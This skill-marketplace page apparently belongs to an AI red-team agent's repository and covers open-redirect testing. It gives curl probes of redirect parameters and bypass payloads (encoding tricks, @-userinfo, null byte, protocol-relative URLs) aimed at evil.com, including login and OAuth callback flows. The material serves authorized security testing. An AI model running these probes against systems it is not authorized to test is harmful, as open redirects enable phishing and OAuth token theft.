一键在 Manus 中运行任何 Skill

open-redirect-testing

星标94

分支21

更新时间2026年3月22日 18:45

Test for unvalidated redirects — URL parameters, login flows, OAuth callbacks that redirect to attacker-controlled domains

安装

用 Codex 或 Claude 帮你安装复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。

在 Manus 中运行

来源

NeoTheCapt

NeoTheCapt/RedteamAgent

打开 GitHub 仓库查看创作者相关仓库

下载

在 Manus 中运行

Open Redirect Testing

When to Activate

Any URL parameter containing a URL or path (redirect, url, next, return, returnTo, goto, dest, target, rurl, callback)
Login/logout flows with redirect after auth
OAuth/SSO callback URLs
Payment completion redirects
Email verification links

Methodology

1. Identify Redirect Parameters

# Common redirect parameter names
for param in redirect url next return returnTo goto dest target rurl callback continue redir forward ref; do
  code=$(run_tool curl -s -o /dev/null -w "%{http_code}" "http://target/?${param}=https://evil.com")
  [ "$code" = "302" ] || [ "$code" = "301" ] || [ "$code" = "303" ] && echo "  $param → $code (potential redirect)"
done

2. Test Redirect Bypass Techniques

TARGET="http://target/redirect?url="
# Direct external URL
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com"
# Protocol-relative
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}//evil.com"
# Backslash
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%5c"
# @ bypass (user@host)
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target@evil.com"
# Subdomain bypass
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target.evil.com"
# URL encoding
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%3A%2F%2Fevil.com"
# Double URL encoding
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%253A%252F%252Fevil.com"
# Null byte
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%00target.com"

3. Test in Authentication Flows

# Post-login redirect
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/login?redirect=https://evil.com"
# OAuth callback
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/oauth/callback?redirect_uri=https://evil.com"

What to Record

Redirect parameter name and endpoint
Which bypass technique worked
Whether it's an absolute redirect (to external domain) or relative only

同仓库更多 Skills

同仓库

business-logic-testing

NeoTheCapt/RedteamAgent

Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws

2026-05-0294

sensitive-data-detection

NeoTheCapt/RedteamAgent

Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts

2026-05-0294

sqli-testing

NeoTheCapt/RedteamAgent

Detect and exploit SQL injection vulnerabilities in web application parameters

2026-05-0194

auth-bypass

NeoTheCapt/RedteamAgent

Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses

2026-04-3094

xss-testing

NeoTheCapt/RedteamAgent

Detect and exploit cross-site scripting vulnerabilities in web applications

2026-04-3094

parameter-fuzzing

NeoTheCapt/RedteamAgent

Discover hidden parameters, test values, and identify input handling anomalies

2026-04-2994

Open Redirect Testing

When to Activate

Any URL parameter containing a URL or path (redirect, url, next, return, returnTo, goto, dest, target, rurl, callback)

OAuth/SSO callback URLs

Payment completion redirects

Email verification links

Methodology

1. Identify Redirect Parameters

# Common redirect parameter names for param in redirect url next return returnTo goto dest target rurl callback continue redir forward ref; do code=$(run_tool curl -s -o /dev/null -w "%{http_code}" "http://target/?${param}=https://evil.com") [ "$code" = "302" ] || [ "$code" = "301" ] || [ "$code" = "303" ] && echo " $param → $code (potential redirect)" done

2. Test Redirect Bypass Techniques

TARGET="http://target/redirect?url=" # Direct external URL run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com" # Protocol-relative run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}//evil.com" # Backslash run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%5c" # @ bypass (user@host) run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target@evil.com" # Subdomain bypass run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target.evil.com" # URL encoding run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%3A%2F%2Fevil.com" # Double URL encoding run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%253A%252F%252Fevil.com" # Null byte run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%00target.com"

3. Test in Authentication Flows

# Post-login redirect run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/login?redirect=https://evil.com" # OAuth callback run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/oauth/callback?redirect_uri=https://evil.com"

What to Record

Redirect parameter name and endpoint

Which bypass technique worked

Whether it's an absolute redirect (to external domain) or relative only

name	open-redirect-testing
description	Test for unvalidated redirects — URL parameters, login flows, OAuth callbacks that redirect to attacker-controlled domains
origin	RedteamOpencode